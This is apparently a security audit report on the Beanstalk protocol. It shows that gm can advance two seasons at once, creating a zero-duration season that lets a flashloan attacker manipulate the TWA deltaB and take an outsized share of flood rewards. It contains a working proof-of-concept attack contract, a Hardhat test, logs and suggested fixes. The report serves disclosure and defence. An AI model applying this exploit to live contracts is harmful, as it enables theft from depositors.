Summary
The protocol assumes that the minimum season duration could not be less than one hour. But, this is not correct, and could lead to critical issues.
A simple example is:
Suppose at time 1:00h, the Diamond is initialized. So: s.sys.season.current = 1
, s.sys.season.timestamp = 1:00h
, s.sys.season.start = 1:00h
At time 2:00h, it is not possible to call gm
, because (block.timestamp - s.sys.season.start) / s.sys.season.period) = 1
is not bigger than s.sys.season.current
At time 3:00h, gm
is called. So: s.sys.season.current = 2
, s.sys.season.timestamp = 3:00h
Suppose, no one calls gm
for two hours.
At time 5:00h, gm
can be called twice.
The first call will set s.sys.season.current = 3
, s.sys.season.timestamp = 5:00h
.
The second call will set s.sys.season.current = 4
, s.sys.season.timestamp = 5:00h
.
So, season 3 has duration 0 hours, and season 2 has duration 2 hours.
Vulnerability Details
When the Diamond is initialized through calling the function init()
, it sets:
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/init/InitDiamond.sol#L31
When the function gm
is called, it increases the season number by one, if at least one hour is elapsed from the previous season.
function gm(
address account,
LibTransfer.To mode
) public payable fundsSafu noOutFlow returns (uint256) {
require(seasonTime() > s.sys.season.current, "Season: Still current Season.");
uint32 season = stepSeason();
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L53-L54
function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L68
function stepSeason() private returns (uint32 season) {
s.sys.season.current += 1;
season = s.sys.season.current;
s.sys.season.sunriseBlock = uint32(block.number);
emit Sunrise(season);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L79
There are two issues:
First (discrepancy of first season duration with other seasons): It shows that the first season duration must be at least equal to 2 hours, while other seasons duration could be at least one hour. For example, if at time 277h, the function init()
is called, season number increases to 1, and season start time sets to 277h (277 * 60 * 60). If we call the function gm
at time 278h, it is expected to step the season from 1 to 2, but it will revert. Because, the equation uint32((block.timestamp - s.sys.season.start) / s.sys.season.period)
returns 1, while the current season is also 1, so it will revert Season: Still current Season.
. So, for the first season, 2 hours must be elapsed to be able to step into season 2.
Second (season with zero duration is possible): If no one calls the function gm
for two hours, then it is possible to call gm
twice in a transaction. In other words, there will be a season with zero duration. For example, if season 5 starts at 282h, and then no one calls gm
for two hours. It is possible to call gm
at 284h twice in a single transaction where the first call steps the season from 5 to 6, and the second call steps the season from 6 to 7. So, the season 6 has duration of zero hours, and season 5 has duration of 2 hours.
The following foundry test shows both issues:
function test_consecutiveGm() public {
uint period = season.getPeriod();
console.log("season start at: ", season.getSeasonStart() / period);
console.log("season number: ", season.getCurrentSeason());
console.log("next season start at: ", season.getNextSeasonStart() / period);
skip(2 * 60 * 60);
console.log("two hours is elapsed. Current time: ", block.timestamp / period);
season.sunrise();
console.log("current season number: ", season.getCurrentSeason());
skip(1 * 60 * 60);
season.sunrise();
skip(1 * 60 * 60);
season.sunrise();
skip(1 * 60 * 60);
season.sunrise();
console.log("after 3 seasons, current season number is: ", season.getCurrentSeason());
console.log("Current time: ", block.timestamp / period);
skip(2 * 60 * 60);
console.log("after two hours, current season number: ", season.getCurrentSeason());
console.log("Current time: ", block.timestamp / period);
season.sunrise();
console.log("current season number: ", season.getCurrentSeason());
season.sunrise();
console.log("current season number: ", season.getCurrentSeason());
}
The output is:
Logs:
season start at: 277
season number: 1
next season start at: 279
two hours is elapsed. Current time: 279
current season number: 2
after 3 seasons, current season number is: 5
Current time: 282
after two hours, current season number: 5
Current time: 284
current season number: 6
current season number: 7
The second issue can lead to a critical situation by exploiting the following two facts:
First (deposit and mow in the same transaction to have nonzero root): At time 284h (we are still in season 5), an attacker can deposit, then calls gm
to increase the season to 6, then attacker calls mow
to update his state and increase his roots due to growing stalks, then attacker calls gm
to increase the season to 7. By doing so, the attacker could gain the growing stalk immediately after depositing. Note that this provides a flashloan attack opportunity described later.
Second (TWA DeltaB will not look back): When gm
is called, to calculate the time weighted average delta B, the difference between current time and the start of previous season is considered for taking average. Since, the season 6 has duration zero, any reserve manipulation (instantaneous price) in that season would be considered for calculating twaDeltaB
. Note that this provides a reserve manipulation attack opportunity described later.
The flow of calls is as follows:
SeasonFacet::gm ==> Oracle::stepOracle ==> LibWellMinting::capture ==> LibWellMinting::updateOracle ==> LibWellMinting::twaDeltaB ==> LibWell::getRatiosAndBeanIndex ==> LibUsdOracle::getUsdPrice
function gm(
address account,
LibTransfer.To mode
) public payable fundsSafu noOutFlow returns (uint256) {
int256 deltaB = stepOracle();
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L55
function stepOracle() internal returns (int256 deltaB) {
address[] memory tokens = LibWhitelistedTokens.getWhitelistedWellLpTokens();
for (uint256 i = 0; i < tokens.length; i++) {
deltaB = deltaB.add(LibWellMinting.capture(tokens[i]));
}
s.sys.season.timestamp = block.timestamp;
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/Oracle.sol#L24
function capture(address well) external returns (int256 deltaB) {
if (lastSnapshot.length > 0) {
deltaB = updateOracle(well, lastSnapshot);
}
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Minting/LibWellMinting.sol#L61
function updateOracle(
address well,
bytes memory lastSnapshot
) internal returns (int256 deltaB) {
(deltaB, s.sys.wellOracleSnapshots[well], twaReserves, ratios) = twaDeltaB(
well,
lastSnapshot
);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Minting/LibWellMinting.sol#L120
function twaDeltaB(
address well,
bytes memory lastSnapshot
) internal view returns (int256, bytes memory, uint256[] memory, uint256[] memory) {
(uint256[] memory ratios, uint256 beanIndex, bool success) = LibWell
.getRatiosAndBeanIndex(tokens, block.timestamp.sub(s.sys.season.timestamp));
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Minting/LibWellMinting.sol#L157
function getRatiosAndBeanIndex(
IERC20[] memory tokens,
uint256 lookback
) internal view returns (uint[] memory ratios, uint beanIndex, bool success) {
else {
ratios[i] = LibUsdOracle.getUsdPrice(address(tokens[i]), lookback);
if (ratios[i] == 0) {
success = false;
}
}
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Well/LibWell.sol#L50
function getUsdPrice(address token, uint256 lookback) internal view returns (uint256) {
if (token == C.WETH) {
uint256 ethUsdPrice = LibEthUsdOracle.getEthUsdPrice(lookback);
if (ethUsdPrice == 0) return 0;
return uint256(1e24).div(ethUsdPrice);
}
if (token == C.WSTETH) {
uint256 wstethUsdPrice = LibWstethUsdOracle.getWstethUsdPrice(lookback);
if (wstethUsdPrice == 0) return 0;
return uint256(1e24).div(wstethUsdPrice);
}
uint256 tokenPrice = getTokenPriceFromExternal(token, lookback);
if (tokenPrice == 0) return 0;
return uint256(1e24).div(tokenPrice);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Oracle/LibUsdOracle.sol#L49
The full attack is as follows:
Suppose, we are in season 5, and the function gm
is not called for two hours.
Attacker takes WETH flashloan.
Attacker swaps WETH for bean in the well. By doing so, the instantaneous price of bean in this well increases.
Attacker deposits those beans into the protocol.
Attacker calls gm
to increase the season from 5 to 6. Note that, although the price of bean is increased in the well, since time weighted average is important, such instantaneous price does not lead to a situation to rain in season 6.
Attacker calls mow
in season 6 to update its state. By doing so, the growing stalk from season 5 to season 6 will be allocated to the attacker. Moreover, since the attacker deposited large amount of beans (thanks to the flashloan), a large portion of available roots in beanstalk will be assigned to him.
Attacker calls gm
to increase the season from 6 to 7 (as explained before due to 2 hours delay in calling gm
, it is possible to increase the season twice in a single transaction).
When gm
in season 6 is called, it checks time weighted average over the season 6. Since season 6 has zero duration, the current state of the well (which has low reserve of bean and high reserve of WETH) would be considered as twaDeltaB
. If pod rate is also less than %5, then there will be rain in the next season. Thus, season 7 is rainy.
In season 7, attacker withdraws all his deposited amount minus one (because if he withdraws fully, his roots would be set to zero, but he does not want to have zero roots as he requires it to claim any possible SoP reward later). During withdrawing, first the function mow
is called, and since it is raining, the rainRoots
would be set for the attacker equal to his current roots (which is a big number thanks to the large deposit with flashloan).
After withdrawing, the attacker swaps bean to WETH in the well.
Attacker repays the flashloan.
Now we have the following state:
If during season 7, still the condition P > 1 and podRate < %5
is met, there will be a flood in season 8. When the season 8 starts, the SoP rewards will be allocated to stalkholders with portion of their rainRoots
. Since the attacker has large amount of rainRoots
, a large portion of SoP rewards will be assigned to him.
function handleRainAndSops(address account, uint32 lastUpdate) internal {
if (s.sys.season.lastSopSeason > lastUpdate) {
address[] memory tokens = LibWhitelistedTokens.getWhitelistedWellLpTokens();
for (uint i; i < tokens.length; i++) {
s.accts[account].sop.perWellPlenty[tokens[i]].plenty = balanceOfPlenty(
account,
tokens[i]
);
}
s.accts[account].lastSop = s.sys.season.lastSop;
}
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Silo/LibFlood.sol#L115
function balanceOfPlenty(address account, address well) internal view returns (uint256 plenty) {
if (lastRainPPR > previousPPR) {
uint256 plentyPerRoot = lastRainPPR - previousPPR;
previousPPR = lastRainPPR;
plenty = plenty.add(
plentyPerRoot.mul(s.accts[account].sop.rainRoots).div(C.SOP_PRECISION)
);
}
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Silo/LibFlood.sol#L169
Test Case
The following full test shows the attack scenario explained above. Please note that taking flashloan process is not included in the test for simplicity. So, just a simple direct transfer is used for emulating the flashloan process.
In this test, a user deposits 10_000 in season 4, and mowed in season 5 (this is just to show the difference of holding amount of rain roots at the end). In season 5, there is a delay of two hours to call sunrise
. So, the attacker who deployed the contract AttackContract
, calls the function run
. In this function, it first gets a flashloan of 9000 WETH, and then swaps them to 900_000 bean. Then deposits those bean in the protocol, and then calls sunrise
to step into season 6. In season 6, it calls mow
to update the state of grown stalks. By doing so, a large amount of roots will be assigned to the AttackContract
, because large amount is deposited thanks to the flashloan.
Then, sunrise
is called to step into the season 7. This season is rainy due to the reserve manipulation in season 5 by flashloan, and also because of zero duration of season 6 which makes the twaDeltaB looking at the instant state of the well instead of time-weighted-average. In season 7, it withdraws fully (minus -1) to still have nonzero roots, and then swaps beans to WETH in the well, and repays the flashloan.
It shows that the amount of rain roots assigned to the attacker is 1800000000000000000000000
while to the user2 is just 20000000000000000000000
. It means that the amount of rain roots allocated to the attacker is 900 times larger than user2 (because the attacker by using flashloan could make an instantaneous large roots before the rainy season 7).
Note that to have the test run correctly, the following function related to the tests should be corrected as follows:
function rainSunrise() public {
require(!s.sys.paused, "Season: Paused.");
s.sys.season.current += 1;
s.sys.season.sunriseBlock = uint32(block.number);
stepOracle();
mockStartSop();
LibGerminate.endTotalGermination(
s.sys.season.current,
LibWhitelistedTokens.getWhitelistedTokens()
);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/mocks/mockFacets/MockSeasonFacet.sol#L95
const { time } = require("@nomicfoundation/hardhat-network-helpers");
const { expect } = require("chai");
const { deploy } = require("../scripts/deploy.js");
const { EXTERNAL, INTERNAL, INTERNAL_EXTERNAL, INTERNAL_TOLERANT } = require("./utils/balances.js");
const {
BEAN,
BEAN_ETH_WELL,
WETH,
MAX_UINT256,
ZERO_ADDRESS,
BEAN_WSTETH_WELL,
WSTETH
} = require("./utils/constants.js");
const { to18, to6, advanceTime } = require("./utils/helpers.js");
const { deployMockWell, whitelistWell, deployMockWellWithMockPump } = require("../utils/well.js");
const { takeSnapshot, revertToSnapshot } = require("./utils/snapshot.js");
const {
setStethEthChainlinkPrice,
setWstethEthUniswapPrice,
setEthUsdChainlinkPrice
} = require("../utils/oracle.js");
const { getAllBeanstalkContracts } = require("../utils/contracts.js");
const { hasRestParameter } = require("typescript");
let user, user2, owner;
describe("Sop Test Cases", function () {
before(async function () {
[owner, user, user2] = await ethers.getSigners();
const contracts = await deploy((verbose = false), (mock = true), (reset = true));
ownerAddress = contracts.account;
this.diamond = contracts.beanstalkDiamond;
[beanstalk, mockBeanstalk] = await getAllBeanstalkContracts(this.diamond.address);
bean = await ethers.getContractAt("Bean", BEAN);
this.weth = await ethers.getContractAt("MockToken", WETH);
mockBeanstalk.deployStemsUpgrade();
await time.increase(2 * 3600);
await mockBeanstalk.sunrise();
await bean.connect(user).approve(beanstalk.address, "100000000000");
await bean.connect(user2).approve(beanstalk.address, "100000000000");
await bean.mint(user.address, to6("1000000"));
await bean.mint(user2.address, to6("1000000"));
[this.well, this.wellFunction, this.pump] = await deployMockWellWithMockPump();
await deployMockWellWithMockPump(BEAN_WSTETH_WELL, WSTETH);
await this.well.connect(owner).approve(this.diamond.address, to18("100000000"));
await this.well.connect(user).approve(this.diamond.address, to18("100000000"));
await this.pump.setCumulativeReserves(this.well.address, [to6("1000000"), to18("1000")]);
await this.well.mint(ownerAddress, to18("500"));
await this.well.mint(user.address, to18("500"));
await time.increase(3600);
await mockBeanstalk.sunrise();
await mockBeanstalk.captureWellE(this.well.address);
await setEthUsdChainlinkPrice("1000");
await setStethEthChainlinkPrice("1000");
await setStethEthChainlinkPrice("1");
await setWstethEthUniswapPrice("1");
await time.increase(3600);
await mockBeanstalk.sunrise();
await beanstalk.connect(user2).deposit(bean.address, to6("10000"), EXTERNAL);
await time.increase(3600);
await mockBeanstalk.sunrise();
await beanstalk.mow(user2.address, bean.address);
});
beforeEach(async function () {
snapshotId = await takeSnapshot();
});
afterEach(async function () {
await revertToSnapshot(snapshotId);
});
describe("Flashloan attack", async function () {
it("two hours delay flashloan attack", async function () {
const AttackContract = await ethers.getContractFactory("AttackContract");
let attackContract = await AttackContract.deploy(this.well.address, this.pump.address, beanstalk.address, bean.address);
await attackContract.deployed();
await bean.connect(user).transfer(attackContract.address, to6("900000"));
await bean.connect(user).transfer(attackContract.address, 1);
console.log("current season: ", await beanstalk.season());
const reserves1 = await this.well.getReserves();
console.log("reserve0: ", reserves1[0]);
console.log("reserve1: ", reserves1[1]);
console.log("current time: ", Math.ceil((await time.latest()) / 3600));
await time.increase(2 * 3600);
console.log("after two hours, time: ", Math.ceil((await time.latest()) / 3600));
await attackContract.run();
let attackContractRain = await beanstalk.balanceOfSop(attackContract.address);
console.log("attackContract.lastRain: ", attackContractRain.lastRain);
console.log("attackContract.rainRoots: ", attackContractRain.roots);
await beanstalk.mow(user2.address, bean.address);
let user2Rain = await beanstalk.balanceOfSop(user2.address);
console.log("user2.lastRain: ", user2Rain.lastRain);
console.log("user2.rainRoots: ", user2Rain.roots);
});
});
})
The output is:
Flashloan attack
current season: 5
reserve0: BigNumber { value: "1000000000000" }
reserve1: BigNumber { value: "1000000000000000000000" }
current time: 477791
after two hours, time: 477793
amount: 900000000000
bdv: 9000000000000000
stem: 8000000
attackContract.lastRain: 7
attackContract.rainRoots: BigNumber { value: "1800000000000000000000000" }
user2.lastRain: 7
user2.rainRoots: BigNumber { value: "20000000000000000000000" }
The AttackContract
is:
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.20;
import "hardhat/console.sol";
interface IMockWell {
function setReserves(uint256[] memory reserves) external;
}
interface IMockPump {
function setInstantaneousReserves(address well, uint[] memory _instantaneousReserves) external;
}
interface IBeanstalk {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
function deposit(
address,
uint256,
From
) external returns (uint256 amount, uint256 _bdv, int96 stem);
function siloSunrise(uint256 amount) external;
function mow(address account, address token) external payable;
function rainSunrise() external;
function withdrawDeposit(address token, int96 stem, uint256 amount, To) external payable;
function claimPlenty(address well, To) external;
function sunrise() external payable returns (uint256);
}
interface IERC20 {
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract AttackContract {
IMockWell iMockWell;
IMockPump iMockPump;
IBeanstalk iBeanstalk;
address well;
address bean;
address flashloanContract;
constructor(
address _addressMockWell,
address _addressMockPump,
address _addressBeanstalk,
address _bean
) {
iMockWell = IMockWell(_addressMockWell);
iMockPump = IMockPump(_addressMockPump);
iBeanstalk = IBeanstalk(_addressBeanstalk);
bean = _bean;
flashloanContract = address(0x1);
}
function run() public {
uint256[] memory reserves = new uint256[](2);
reserves[0] = 1_000_000 * 10 ** 6;
reserves[1] = 1000 * 10 ** 18;
iMockWell.setReserves(reserves);
uint256[] memory instantReserves = new uint256[](2);
instantReserves[0] = 100_000 * 10 ** 6;
instantReserves[1] = 10_000 * 10 ** 18;
iMockPump.setInstantaneousReserves(address(iMockWell), instantReserves);
IERC20(bean).approve(address(iBeanstalk), 900_000 * 10 ** 6);
(uint256 amount, uint256 bdv, int96 stem) = iBeanstalk.deposit(
bean,
900_000 * 10 ** 6,
IBeanstalk.From.EXTERNAL
);
console.log("amount: ", amount);
console.log("bdv: ", bdv);
console.log("stem: ", uint256(int256(stem)));
iBeanstalk.sunrise();
iBeanstalk.mow(address(this), bean);
iMockWell.setReserves(instantReserves);
iMockPump.setInstantaneousReserves(address(iMockWell), instantReserves);
iBeanstalk.rainSunrise();
iBeanstalk.withdrawDeposit(bean, stem, (900_000 * 10 ** 6) - 1, IBeanstalk.To.EXTERNAL);
iMockWell.setReserves(reserves);
iMockPump.setInstantaneousReserves(address(iMockWell), reserves);
IERC20(bean).transfer(flashloanContract, 900_000 * 10 ** 6);
}
}
Impact
Tools Used
Recommendations
There are many solutions, one possible solution is that to disallow stepping to another season if the timestamp of the current season is eqaul to the current time.
function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
require(block.timestamp != s.sys.season.timestamp, "the current season cannot have zero duration");
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}
Or to enforce to have at least one hour duration:
function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
require((block.timestamp - s.sys.season.timestamp) >= s.sys.season.period, "the current season cannot less than one period duration");
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}